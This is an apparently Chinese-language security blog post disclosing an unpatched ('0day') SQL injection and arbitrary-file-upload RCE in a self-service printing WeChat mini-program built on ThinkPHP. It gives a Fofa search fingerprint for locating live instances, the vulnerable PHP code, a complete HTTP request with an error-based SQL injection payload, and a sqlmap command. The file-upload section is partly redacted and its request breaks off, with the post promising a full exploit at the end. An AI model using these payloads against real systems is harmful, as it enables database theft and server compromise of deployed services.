(0day)某全新UI自助打印微信小程序系统SQL+RCE漏洞代码审计

原创 Mstir 星悦安全 2024-11-16 04:37

点击上方
蓝字关注我们并设为
星标

0x00 前言

在数字化时代，打印服务的需求与日俱增。为了满足用户的便利需求，全新UI的自助打印系统/云打印小程序。

全新UI设计：采用2024年最新的UI设计风格，界面简洁美观，用户体验极佳。

云打印功能：支持用户通过小程序上传文件并进行云端打印，方便快捷。

自助服务：用户可以自主选择打印参数，如打印份数、纸张类型等，实现真正的自助打印。

多平台支持：源码支持微信小程序平台，方便用户在移动端进行操作。

Fofa指纹:"未登录" && "/admin/login/index.html"

框架:ThinkPHP 6.0.2 Debug:True

0x01 前台SQL注入漏洞

位于 /api/controller/Shop.php 控制器的nearByShop 方法通过传入latitude和longitude 来插入到SQL语句中，然后直接通过 Db::query() 进行查询，且未有过滤，导致漏洞产生.

public function nearByShop()
  {
    $latitude = input('param.latitude', '');
    $longitude = input('param.longitude', '');
    $sql = <<<EOT
      SELECT
      a.*,
      (
      6378.138 * 2 * asin(
      sqrt(
      pow(
      sin(
      (
      radians( a.lat ) - radians( $latitude)
      ) / 2
      ),
      2
      ) + cos( radians( a.lat ) ) * cos( radians( $latitude ) ) * pow(
      sin(
      (
      radians( a.lng ) - radians( $longitude )
      ) / 2
      ),
      2
      )
      )
      )
      ) AS distance
      FROM
      do_shop a
      HAVING distance < 300000
      ORDER BY
      distance
      LIMIT 10
      EOT;

    $data = Db::query($sql);

    $printer = [];
    if (!empty($data)) {
      foreach ($data as $v) {
        $shop_ids[] = $v['id'];
      }
      $where[] = [
        'shop_id',
        'in',
        $shop_ids,
        ];
      $printer = Db::table('do_printer')->where($where)->select();
      if (!empty($printer)) {
        foreach ($printer as $k => $v) {
          $v['business_hours'] = json_decode($v['business_hours'] ?? '[]', true);
          //$v['print'] = json_decode($v['print'] ?? '[]', true);
          $v['functions'] = json_decode($v['functions'] ?? '[]', true);

          foreach ($data as $shop) {
            if ($shop['id'] == $v['shop_id']) {
              $v['shop_name'] = $shop['name'];
              $v['distance'] = intval($shop['distance'] * 1000);
            }
          }

          $printer[$k] = $v;
        }
      }
    }

    $return = [
      'code' => 0,
      'data' => [
      'shop' => $data,
      'printer' => $printer,
      ],
      ];

    return json($return);
  }

Payload:

POST /api/shop/nearByShop HTTP/1.1
Content-Length: 104
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close

latitude=1&longitude=GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),9392)

python sqlmap.py -r a.txt --level=3 --dbms=mysql

0x02 前台任意文件上传漏洞(RCE)

位于 /xxxx/controller/xxxxx.php 控制器中的file方法通过file()函数获取文件，并通过 putFile() 函数直接将文件写入到/sxxxxx/ 目录中，然后传入 proxxx=xxxxx 进入该分支即可得到上传文件的地址.

/**
* 处理上传文件.
*
* @return \think\response\Json
*/
public function xxxx()
{
    $file = request()->file('file');
    $page_type = input('param.page_type', 1, 'intval');
    $print_type = input('param.print_type', 1, 'intval');
    $filename = input('param.filename', $file->getOriginalName(), 'trim');
    $doc_type = input('param.doc_type', 1, 'intval');
    $printer_id = input('param.printer_id');
    //文件处理流程
    /**
         * 1.none 不处理
         * 2.id_card 身份证：不插入数据库，正反面都上传完成后，用户点击完成时合并图片，保存到打印列表
         * 3.c1 1寸照片
         * 4.c1x 大1寸照片
         * 5.c2
         * 6.c2x
         * 7.photo.
         */
    $process = input('param.process', 'none', 'trim');
    try {
      $savename = Filesystem::disk('public')->putFile('', $file);
      $root = config('filesystem.disks.public.root');
      $domain = config('filesystem.disks.public.url');
      switch ($process) {
        case 'xxx_xxxxx':
        $savename = Config::get('filesystem.disks.public.url').'/'.$savename;
        $return = [
          'code' => 0,
          'data' => ['savename' => $savename],
          ];
      } catch (ValidateException $e) {
      $return = [
        'code' => 1,
        'msg' => $e->getMessage(),
        ];
    }

    $return['printer_list'] = $this->printerList();

    return json($return);
  }

Payload:

POST /xxxx/xxxxx/xxxx HTTP/1.1
Host: 127.0.0.1
Content-Length: 298
Cache-Control: max-age=0
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXr8AJ9qGX4nSmcI0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: close

完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!
完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!